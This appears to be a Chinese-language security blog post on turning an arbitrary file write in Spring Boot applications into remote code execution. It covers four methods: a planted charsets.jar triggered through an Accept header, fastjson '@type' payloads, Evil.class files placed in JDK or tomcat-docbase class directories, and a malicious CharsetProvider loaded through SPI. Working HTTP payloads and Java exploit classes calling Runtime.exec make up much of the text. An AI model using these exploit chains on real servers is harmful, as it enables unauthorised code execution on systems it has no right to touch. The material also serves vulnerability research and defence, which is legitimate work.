0%

Springboot下写文件RCE

spring原生场景(charsets.jar)

现在生产环境部署 spring boot 项目一般都是将其打包成一个 FatJar,即把所有依赖的第三方 jar 也打包进自身的 app.jar 中,最后以 java -jar app.jar 形式来运行整个项目。

运行时项目的 classpath 包括 app.jar 中的 BOOT-INF/classes 目录和 BOOT-INF/lib 目录下的所有 jar,因此无法在其运行的时候往 classpath 中增加文件。

所以提出了这样一个解决办法:通过往系统classpath(JAVA_HOME/jre/lib/)添加一个jar文件(该jar文件不会在启动时被调用,而是执行某些特定操作才会被调用),执行特定操作,初始化jar文件,造成RCE。

LandGrey师傅找到了这样一个jar文件:/jre/lib/charsets.jar,如果程序代码中没有Charset.forName(“GBK”);类似的操作,那么该jar文件就不会被调用。

环境参考:https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks?tab=readme-ov-file

在springweb中,有这样一个方法:org.springframework.web.accept.HeaderContentNegotiationStrategy#resolveMediaTypes

image-20241121142052105

获取Accept头部,并通过MediaType.parseMediaTypes调用

image-20241121142228655

随后会来到MimeTypeUtils#parseMimeTypeInternal方法

image-20241121143629324

简单来说,该方法就是对传入的字符串进行一个键值的解析,然后传入MimeType中

image-20241121143713265

image-20241121143945546

调用checkParameters方法

image-20241121144031673

触发Charset.forName(value);

利用方式

1
2
3
4
5
GET / HTTP/1.1
Host: localhost:18081
Accept: text/html;charset=GBK


image-20241121194340363

image-20241121194411512

缺点如下:

1
2
3
4
5
1,需root权限。不过好在现在docker/k8s横行,springboot服务大多数都是root权限。
2,charsets.jar加载仅一次机会。如果之前有用户使用过charset=GBK之类的加载过charsets.jar,不管是正常还是恶意的,该方法都会失效。如果该方式已经失效的情况下,你写的charsets.jar又不完整,还可能会导致服务挂掉。
3,完整的charsets.jar比较大,不过测试时不需要完整charsets.jar。
4,jdk目录需要猜测,需要字典。
5,仅jdk8或者以下适用。jdk9开始使用了模块化,不再存在charsets.jar

fastjson场景(charset&class)

charset

高版本中,java.nio.charset.Charset这个类在白名单中,所以可以使用如下payload进行RCE

1
2
3
4
5
6
7
8
9
POST /fastjson HTTP/1.1
Host: localhost:18081
Content-Type: application/json
Content-Length: 74

{
"@type":"java.nio.charset.Charset",
"val":"500"
}

image-20241121194455144

image-20241121194522353

classes

也可以通过上传class文件,然后通过期望类的方法RCE(https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84Fastjson%20RCE/)

Evil.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.IOException;

/**
* @author threedr3am
*/
public class Evil implements AutoCloseable {

static {
try {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {

}
}

上传至JAVA_HOME/jre/classes目录(如果不存在就创建一个),然后发送payload

1
2
3
4
{
"@type":"java.lang.AutoCloseable",
"@type":"Evil"
}

mac上复现:

将fastjson版本切换为1.2.68

image-20241124125749757

但是这种方法只能使用一次,第二次失效,只能重启

原理:

由于双亲委派的机制,类的加载顺序会先从Bootstrap ClassLoader(sun.boot.class.path)的加载路径中尝试加载,当找不到该类时,才会选择从下一级的ExtClassLoader(java.ext.dirs)的加载路径寻找,以此类推到引发加载的类所在的类加载器为止。

我们可以通过代码查看一下Bootstrap ClassLoader的加载路径:

image-20241121174709696

这里是D:\jdk_8u161\classes,那么我们在尝试加载Evil类的时候,首先就会去D:\jdk_8u161\classes查找有没有这个类,有的话直接加载,没有再继续向下

1
2
3
4
5
6
7
8
9
优点如下
1,多次机会写入,Evil写坏了就写Evil2/Evil3
2,写入文件不大。
缺点如下
1,需root权限。
2,jdk目录需要猜测。
3,仅jdk8或者以下适用,jdk9的ClassLoader变动,不再尝试载入该文件夹。
4,默认不存在classes目录,需要创建
5,需触发入口,不像charsets.jar那样可以header触发。

classes+SPI

Charset.forName原理

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static Charset forName(String charsetName) {
Charset cs = lookup(charsetName);
if (cs != null)
return cs;
throw new UnsupportedCharsetException(charsetName);
}
private static Charset lookup(String charsetName) {
if (charsetName == null)
throw new IllegalArgumentException("Null charset name");
Object[] a;
if ((a = cache1) != null && charsetName.equals(a[0]))
return (Charset)a[1];
// We expect most programs to use one Charset repeatedly.
// We convey a hint to this effect to the VM by putting the
// level 1 cache miss code in a separate method.
return lookup2(charsetName);
}
private static Charset lookup2(String charsetName) {
Object[] a;
if ((a = cache2) != null && charsetName.equals(a[0])) {
cache2 = cache1;
cache1 = a;
return (Charset)a[1];
}
Charset cs;
if ((cs = standardProvider.charsetForName(charsetName)) != null ||
(cs = lookupExtendedCharset(charsetName)) != null ||
(cs = lookupViaProviders(charsetName)) != null)
{
cache(charsetName, cs);
return cs;
}

/* Only need to check the name if we didn't find a charset for it */
checkName(charsetName);
return null;
}

最后在lookup2方法处,有三个加载charsetName的调用

1
2
3
standardProvider.charsetForName(charsetName)
lookupExtendedCharset(charsetName)
lookupViaProviders(charsetName)

前两种方式都是内置的provider模式,无价值,看一下lookupViaProviders方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
return AccessController.doPrivileged(
new PrivilegedAction<Charset>() {
public Charset run() {
for (Iterator<CharsetProvider> i = providers();
i.hasNext();) {
CharsetProvider cp = i.next();
Charset cs = cp.charsetForName(charsetName);
if (cs != null)
return cs;
}
return null;
}
});

这里会将providers()方法的返回结果赋值给Iterator<CharsetProvider> i,而providers方法就是一个SPI的调用

image-20241124142943452

那我们就可以创建一个META-INF,里面存在一个含恶意provider的文件即可

Evil.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.HashSet;
import java.util.Iterator;

/**
* @author threedr3am
*/
public class Evil extends java.nio.charset.spi.CharsetProvider {

@Override
public Iterator<Charset> charsets() {
return new HashSet<Charset>().iterator();
}

@Override
public Charset charsetForName(String charsetName) {
//因为Charset会被缓存,导致同样的charsetName只能执行一次,所以,我们可以利用前缀触发,后面的内容不断变化就行了,甚至可以把命令通过charsetName传入
if (charsetName.startsWith("Evil")) {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
return Charset.forName("UTF-8");
}
}

image-20241124151009210

image-20241124151116594

tomcat-docbase

springboot会在/tmp目录生成tomcat-docbase文件夹,本质相当于tomcat的根目录,因此加载类时还会尝试加载/tmp/tomcat-docbase.8080.xx/WEB-INF/classes/目录下的类。

还是和classes的方法一致,将Evil.class放到/tmp/tomcat-docbase.8080.xx/WEB-INF/classes/下,然后运行相同的payload即可

复现过程:

image-20241124182944837

image-20241124183002070

image-20241124183018065

Evil.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.IOException;

public class Evil extends Exception {
public Evil() {
}

static {
try {
Runtime.getRuntime().exec("touch /tmp/ycx");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}

1
2
3
4
5
6
1,无需root权限
2,不限于jdk8,jdk11下测试成功
缺点如下
1,tomcat-docbase带随机后缀,无法爆破,只能配合目录读取
2,WEB-INF/classes目录需要创建
3,触发时直接Class.forName(clazz)是不行的,必须要特定classloader,比如Thread.currentThread().getContextClassLoader()。